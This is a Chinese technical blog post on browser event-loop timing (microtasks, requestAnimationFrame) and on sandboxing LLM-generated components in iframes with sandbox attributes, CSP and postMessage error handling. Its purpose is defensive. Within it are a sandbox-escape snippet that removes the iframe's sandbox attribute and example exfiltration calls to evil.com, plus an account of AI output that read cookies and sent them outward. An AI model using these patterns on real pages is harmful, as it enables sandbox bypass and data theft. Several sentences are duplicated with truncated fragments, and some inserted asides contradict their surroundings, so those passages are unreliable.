queueMicrotask(fn) 最老实——你调用的那一瞬间 fn 就塞进微任务队列了,没有中间商赚差价,没有任何包装层,一步到位。Promise.resolve().then(fn) 差不多,因为这个 Promise 已经是 resolved 状态了,.then 执行的时候 fn 也是立刻入队,但它多走了一层 PromiseReactionJob 的内部机制,比 queueMicrotask 慢那么一丢丢。所以这俩的顺序基本就是你写代码的顺序,稳得一批。

MutationObserver 的话?不一样。

它的回调入队时机取决于浏览器把 DOM 变更"收集"完毕的时间点——浏览器会在同一个微任务检查点(microtask checkpoint)触发前,把这段时间内攒起来的所有 DOM 变更打包,然后才把 MutationObserver 的回调作为微任务丢进队列。就这个"攒"的动作,导致了时序上的不确定性,你没法拿看代码顺序来推断它什么时候入队(听起来很合理对吧,但是)。

// 这段的顺序是确定的
queueMicrotask(() => console.log('A'))  // 调用瞬间入队
Promise.resolve().then(() => console.log('B'))  // 也是立刻,但多了一层包装
// 永远 A → B

坦白说 V8 源码里 queueMicrotask 走的是 EnqueueMicrotask 这条更短的路径,而 Promise.then 要经过 NewPromiseReactionJobTask 再绕一圈才入队。别问我怎么知道的。

说到这里我自己都有点绕了。

这也解释了 Vue 的 nextTick 演变史:Vue 2 最早用 MutationObserver,时序不稳,后来换成 Promise.then,到 Vue 3 干脆用 queueMicrotask 打底。越直接越可控,就这么简单。

requestAnimationFrame 压根不是任务,它是渲染管线的一部分

这块是重灾区。

我见过无数事件循环示意图,把 rAF 画在宏任务和微任务旁边,搞一个所谓的"rAF 队列"。

来看一段会让你抓狂的代码:

document.querySelector('.box').style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  document.querySelector('.box').style.transform = 'translateX(100px)'
})

你以为会看到元素从 0px 平滑过渡到 100px 的动画?实际效果:元素直接出现在 100px 的位置,没有任何过渡。怎么回事?因为第一行的样式修改和 rAF 回调里的修改都在同一帧被处理了,浏览器把它们合并成一次渲染,中间根本没有产生过一帧"元素在 0px"的画面。

修复方案有两个。一是"双 rAF"技巧:

box.style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  // 第一个 rAF:确保 0px 这个值被渲染出去了
  requestAnimationFrame(() => {
    // 第二个 rAF:下一帧再改成 100px
    box.style.transform = 'translateX(100px)'
  })
})

二是用 getComputedStyle(box).transform 强制触发一次同步重排,逼浏览器把第一次修改"落地"。但这招有代价——同步布局计算在列表场景下会直接把帧率干到个位数,getComputedStyle 不是免费的午餐。

那浏览器事件循环一轮的真实顺序到底是啥?把渲染管线也画进来的话:

  1. 取一个宏任务跑完(setTimeout 回调、MessageChannel、用户点击事件之类的)
  2. 清空微任务队列,Promise.thenqueueMicrotaskMutationObserver 全在这一步
  3. 浏览器判断:需要渲染吗?不一定。屏幕 60Hz 的话大约 16.6ms 一帧,你要是 1ms 内连着跑了 10 个 setTimeout(fn, 0),大概率这 10 个宏任务全跑完了才渲染一次
  4. 如果要渲染——进入渲染阶段:跑 rAF 回调,算样式,跑布局,绘制,合成

反正大概是这么个意思。

注意第 3 步那个"不一定"。这就是为什么你不能拿 rAF 当"尽快执行"用,它的实际延迟可能比 setTimeout(fn, 0) 还大(听起来很合理对吧,但是)。React 的 scheduler 选了 MessageChannel 而不是 rAF,原因就在这——React 要的是"尽快切到下一个任务切片",不是"等到下一次渲染前"。

混在一起用的时候,地狱开始了

虚拟滚动列表。滚动事件触发后你要干三件事:算可视区域、改 DOM、等渲染完拿新 DOM 的高度。三步,三种调度策略。搞混一个直接白屏。

onScroll = (event) => {
  // 同步算可视范围,这步没争议
  const visibleRange = calcRange(event.scrollTop)

  // 微任务里批量更新 DOM——为什么?
  // 因为要赶在当前帧渲染前把 DOM 改好
  queueMicrotask(() => {
    updateDOM(visibleRange)

    // 等渲染完测量高度,用 rAF?
    // 坑来了
    requestAnimationFrame(() => {
      // rAF 跑在渲染阶段开头,布局还没算呢
      // 你拿到的高度是上一帧的

      requestAnimationFrame(() => {
        const heights = measureHeights()  // 这里才安全
      })
    })
  })
}

rAF 的回调跑在渲染流水线的最前面,在样式计算和布局之前,你在 rAF 里读 offsetHeight 之类的值,拿到的可能是旧的。又是双 rAF——第一个保证 DOM 更新进了渲染管线,第二个在下一帧拿上一帧的布局结果。

嗯,继续。

怎么说呢,这个调度模型其实一句话就能讲完:微任务在当前宏任务结束后渲染前清空,rAF 在渲染阶段开头跑,渲染整完后想做事没有原生 API,要么双 rAF 要么 ResizeObserver

但还有更绕的。rAF 回调里能不能产生微任务?能。

requestAnimationFrame(() => {
  console.log('rAF-1')
  queueMicrotask(() => console.log('micro-in-rAF'))
})

requestAnimationFrame(() => {
  console.log('rAF-2')
})
// 输出:rAF-1 → micro-in-rAF → rAF-2

每个 rAF 回调执行完后浏览器都会检查微任务队列并清空,跟宏任务结束后清空微任务是同一套逻辑——每个可执行上下文结束时都有一个 microtask checkpoint,rAF 回调也算一个可执行上下文,所以在 rAFqueueMicrotask 是安全的。

嗯,继续。

那在 rAF 回调里再调一次 requestAnimationFrame 注册的新回调会在当前帧跑吗?不会。规范写得很清楚:每帧开始时浏览器会对当前已注册的 rAF 回调列表做一次快照,只跑快照里的,执行期间新注册的推到下一帧。双 rAF 能保证跨帧不是 hack,是规范行为。

ResizeObserver 的调度时机更绕——卡在布局之后绘制之前,还可能触发二次 re-layout。够呛。这个回头单独写。

把 LLM 吐出来的组件扔进 `iframe` 跑:沙箱隔离这件事没你想的那么简单

把 LLM 吐出来的组件扔进 iframe 跑:沙箱隔离这件事没你想的那么简单

dangerouslySetInnerHTML 直接把 AI 返回的 HTML 糊到页面上——你干过没?

干过。去年接手一个 AI 生成 UI 的项目,前任同事就是这么搞的,GPT 返回一段 <div><style><script>,直接往 DOM 里一塞。能跑就行嘛。跑是能跑,直到有一天 AI 返回了一段代码里面带了 document.cookie,紧接着又带了一个 fetch 往外发请求,安全团队的告警邮件半夜三点把我叫醒了。不想再体验第二次。

早知道就老老实实做沙箱。

这篇聊的就是这件事:LLM 输出的组件代码怎么在浏览器里安全跑起来,核心方案是 iframe 配合 Content-Security-Policy,再加上错误边界兜底。不是什么新技术。但组合起来的坑比想象中多得多得多。

iframe sandbox:看起来一行属性就搞定,实际全是取舍

先说基础的。

<iframe sandbox> 这个属性加上之后,浏览器会给 iframe 里的内容套一层限制——不能执行脚本、不能提交表单、不能用 top.location 跳转、不能弹窗。听起来很美。但问题来了,AI 生成的 UI 组件十有八九需要跑 JavaScript,你总不能让 GPT 只吐静态 HTML 吧,那还不如直接用 markdown-it 渲染算了。所以你得把 allow-scripts 加回来:

<iframe
  sandbox="allow-scripts"
  srcdoc="..."
  style="width:100%;height:400px;border:none;"
></iframe>

就这一行。事情开始变复杂了。

allow-scripts 打开之后 iframe 里的代码能跑 JS 了,但它仍然拿不到父页面的 DOM,因为 sandbox 默认会把 iframe 的 origin 设成 null,天然跨域。好事。但"拿不到父页面 DOM"和"完全安全"之间差了十万八千里,iframe 里的脚本照样能发 fetch 请求、能用 WebSocketlocalStorage 倒是默认禁用的,除非你加了 allow-same-origin

等等。千万别加这个。

allow-scripts + allow-same-origin:灾难组合

我踩过的最狠的坑就是这俩同时开。

这俩一起开会怎样?iframe 里的脚本既能跑 JS,又和父页面同源。那它就能做一件事情:

// iframe 内部的恶意代码
const frame = window.frameElement;
frame.removeAttribute('sandbox');
// sandbox 没了,所有限制解除,可以为所欲为

完了。iframe 里的代码直接把自己的 sandbox 属性删掉,reload 一下,所有限制全部消失。这不是理论攻击,MDN 上都写了——但谁看 MDN 啊。别问。

所以第一条铁律:allow-scriptsallow-same-origin 永远不能同时出现。

不加 allow-same-origin 有啥副作用?iframe 里的代码没法用 localStoragesessionStorageIndexedDB,也没法用 cookie。说到 AI 生成的预览组件来说问题不大——你又不是要在预览里做持久化。但有一个比较烦的事:有些第三方库比如某些版本的 axios 初始化时会读 localStorage,读不到直接抛异常。这个后面错误边界那节再说。

怎么说呢,sandbox 属性的配置我前后改了不下十次,最后稳定下来的版本:

sandbox 权限选择流程:

需要跑 JS 吗?
├── 否 → sandbox(啥都不加,最安全)
└── 是 → sandbox="allow-scripts"
         ↓
    需要提交表单吗?
    ├── 否 → 保持 allow-scripts
    └── 是 → allow-scripts allow-forms
              ↓
         需要弹窗(window.open)吗?
         ├── 否 → 到此为止
         └── 是 → 加 allow-popups
                   (但要想清楚,真的需要吗?)

 永远不加:allow-same-origin(和 allow-scripts 同时)
 永远不加:allow-top-navigation(防止跳转劫持)

光靠 sandbox 还不够。管不了网络请求。iframe 里的脚本照样能 fetch('https://evil.com') 往外发数据。不对,应该说是me 里的脚本照样能 fetch('https://evil.com') 往外发数据(说起来都是泪)。这就是为什么需要 CSP。

CSP 怎么配才能把网络请求锁死

Content-Security-Policy 注入到 iframe 里有两种方式:HTTP 响应头,或者 <meta> 标签。我们用的是 srcdoc,没有 HTTP 响应这回事,所以只能走 <meta http-equiv="Content-Security-Policy">

function wrapWithCSP(htmlFromLLM) {
  const csp = [
    "default-src 'none'",
    "script-src 'unsafe-inline'",
    "style-src 'unsafe-inline'",
    "img-src data: blob:",
  ].join('; ');

  return `
    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Security-Policy" content="${csp}">
    </head>
    <body>${htmlFromLLM}</body>
    </html>
  `;
}

看到 script-src 'unsafe-inline' 是不是慌了?

别慌。正常 Web 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。嗯……也不完全是,eb 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。但我们这个场景不一样——iframe 里所有的代码都是内联的,AI 吐出来的就是一坨 HTML 字符串,不存在"可信脚本"和"不可信脚本"的区分,全部不可信,安全边界在 iframe 的 sandbox 和 CSP 的网络限制上,不在脚本来源上。

我也想过用 nonce 或者 sha256-hash 来限制。

坦白说有个细节我当时查了半天:connect-src 不配的话会不会 fallback 到 default-src?答案是会的。default-src'none',所以效果一样。但我建议显式写上,代码即文档嘛:

const csp = [
  "default-src 'none'",
  "script-src 'unsafe-inline'",
  "style-src 'unsafe-inline'",
  "img-src data: blob:",
  "connect-src 'none'",  // 显式禁止 fetch/XHR/WebSocket
  "font-src 'none'",
].join('; ');

这样配完之后,iframe 里的代码跑 fetch('https://evil.com/steal?data=xxx') 浏览器直接拦截,控制台打一条 CSP violation 的报错。安全团队不会再半夜打电话了。

但事情没完。

AI 生成的代码要加载 CDN 上的库怎么办

这个场景我一开始压根没想到。

两条路。

第一条,白名单:

script-src 'unsafe-inline' https://cdn.jsdelivr.net https://unpkg.com

能用。

第二条路,也是我最后选的——在父页面做预处理,把外部 <script src="..."> 的内容提前下载好,以内联方式塞回 srcdoc

LLM 输出的原始 HTML
        ↓
   预处理(父页面)
   ├── 扫描 <script src="...">
   ├── 下载脚本内容(白名单校验 URL)
   ├── 转为 <script>内联代码</script>
   └── 扫描 <link href="..."> 同理处理
        ↓
   组装 srcdoc(注入 CSP meta)
        ↓
   塞进 <iframe sandbox="allow-scripts">

CSP 保持最严格配置,不用开任何外部域名(虽然官方文档不是这么说的)。代价是多了一步预处理,但这步本身也是个安全检查点,你可以在这里做恶意代码扫描、Content-Length 大小限制、依赖白名单校验,一举多得(虽然官方文档不是这么说的)。

反正大概是这么个意思。

这套预处理的逻辑写起来比想象中复杂。光是处理 <script> 标签的各种写法——有 type="module" 的、有 async 的、有 defer 的、还有写在 <head><body> 不同位置的——就糊了大概两百行,一半正则一半 DOMParser。一次性工作。写完不用动了。

写到这里突然觉得之前说的不太对。

还有个容易忽略的点。<style> 里面的 @import url(...)background: url(...) 也能发网络请求。能跑。style-src 'unsafe-inline' 只允许内联样式,@import 加载外部 CSS 这个行为被 default-src 'none' 兜住了。但 background-image: url(data:image/png;base64,...) 是可以的,因为 img-src 放了 data:。这些边角情况不翻 W3C 的 CSP spec 真想不到。

错误边界:AI 生成的代码炸了怎么办

重要。但不复杂。

AI 生成的代码质量不可预测。SyntaxError 都能有,更别提运行时错误了——访问 undefined 的属性、死循环、内存爆了。啥都可能。

好吧这个问题比我想的复杂。

iframe 天然就是进程级别的隔离,大多数现代浏览器里跨域 iframe 跑在独立渲染进程中,所以 iframe 里的代码就算 while(true){} 了也不会卡死父页面。免费的好处。但你得有办法检测到"这个 iframe 炸了"然后给用户反馈。

我的做法是在 srcdoc 里注入一段监控脚本,这段脚本在 AI 生成的代码之前执行:

<script>
window.addEventListener('error', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno
  }, '*');
});

window.addEventListener('unhandledrejection', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.reason?.message || String(e.reason)
  }, '*');
});

// 5秒内没渲染完就认为卡了
var __renderTimer = setTimeout(function() {
  parent.postMessage({
    type: '__sandbox_timeout__',
    message: 'Render timeout after 5000ms'
  }, '*');
}, 5000);

window.__notifyRenderComplete = function() {
  clearTimeout(__renderTimer);
  parent.postMessage({ type: '__sandbox_ready__' }, '*');
};
</script>

父页面监听 message 事件(听起来很合理对吧,但是)。有个坑:postMessage 第二个参数写的 '*',因为 sandbox 下 iframe 的 origin 是 null,没法指定具体 targetOrigin。那父页面监听的时候必须做来源校验,用 event.source 判断:

const iframeRef = useRef(null);

useEffect(() => {
  function handleMessage(event) {
    if (event.source !== iframeRef.current?.contentWindow) return;

    switch (event.data?.type) {
      case '__sandbox_error__':
        setError(event.data.message);
        break;
      case '__sandbox_timeout__':
        setError('组件渲染超时');
        break;
      case '__sandbox_ready__':
        setLoading(false);
        break;
    }
  }
  window.addEventListener('message', handleMessage);
  return () => window.removeEventListener('message', handleMessage);
}, []);

跑起来还行。

但有个问题始终没完美解决。死循环。

while(true){} 这种同步死循环会卡死 iframe 的 JS 线程,setTimeout 的超时回调根本没机会执行,因为事件循环被堵死了。postMessage 发不出去,父页面啥也收不到。只能在父页面设一个外部定时器——5 秒内没收到 __sandbox_ready__ 就认为挂了:

useEffect(() => {
  if (!loading) return;
  const timer = setTimeout(() => {
    setError('渲染超时,可能存在死循环');
    if (iframeRef.current) {
      iframeRef.current.srcdoc = '';
    }
  }, 5000);
  return () => clearTimeout(timer);
}, [loading]);

srcdoc 设成空字符串可以终止 iframe 里的执行。iframe.contentWindow.stop() 在跨域 sandbox 下调不了。够用了。不优雅。但够用了。

还有一类错误比较棘手。

try { localStorage } catch(e) {
  window.localStorage = {
    getItem: () => null,
    setItem: () => {},
    removeItem: () => {},
    clear: () => {},
    length: 0
  };
}

粗暴。有效。有些库初始化的时候检测 window.localStorage 是否存在来决定用不用持久化——mock 之后它就走内存 fallback 了,比如 zustandpersist 中间件就是这个逻辑。

父子通信和动态尺寸

快速过。

iframe 高度自适应是老生常谈的问题,sandbox 场景下一样躲不掉。

new ResizeObserver(entries => {
  const height = entries[0].target.scrollHeight;
  parent.postMessage({
    type: '__sandbox_resize__',
    height: height
  }, '*');
}).observe(document.body);

父页面收到消息后更新 iframe 的 style.heightResizeObserver 在 sandbox 下能不能用?能。它是纯观察型 API,不涉及安全敏感操作,不在 sandbox 的限制清单里(别问我怎么知道的)。

父页面往 iframe 传数据也是 postMessage,传主题色、prefers-color-scheme 之类的。注意序列化问题就行——postMessage 走结构化克隆算法,函数、DOM 节点、Symbol 传不了。大部分场景一个 JSON.stringify 能覆盖的对象就够了。

如果 iframe 里的组件需要"调用"父页面的能力,比如打开 modal、跳转 react-router 的路由,可以搞一套 RPC:

iframe → 父页面:  { type: 'rpc_call', id: 'abc', method: 'openModal', params: {...} }
                          ↓
                  校验 method 白名单 → 执行 → 拿到结果
                          ↓
父页面 → iframe:  { type: 'rpc_result', id: 'abc', result: ... }
                          ↓
                  iframe 侧 resolve 对应 Promise

二十行代码的事。核心就是 method 白名单,iframe 能调用的方法必须预定义好,不能让它随便调 window.open 或者操作 history

最后一个不大不小的坑。

srcdoc 的内容如果包含 </script> 这个字符串——哪怕是嵌在 JS 的字符串字面量里——浏览器也会提前闭合 <script> 标签,整个 HTML 解析全乱。预处理时记得转义,把 </script> 替换成 <\/script>。这个坑我调了半天,AI 生成的代码里恰好有一句 el.innerHTML = '<script>...</script>',然后 srcdoc 就炸了。血的教训。


这套方案跑了差不多半年。扛住了各种离谱的 AI 输出——有返回完整 <!DOCTYPE html> 文档结构的、有在 <style> 里写 * { display: none !important } 把自己藏起来的、有 console.log 循环打了几万行把 DevTools 搞崩的。sandbox 保护下这些东西都只能在 iframe 里折腾,影响不到父页面的 document,也发不出任何网络请求。

说白了嘛,就是给 AI 输出画了个圈。圈里随便蹦跶,出不去就行。半年下来最大的感受是,安全这东西不怕方案土,怕的是你觉得"应该没事吧"然后就真没管。

❌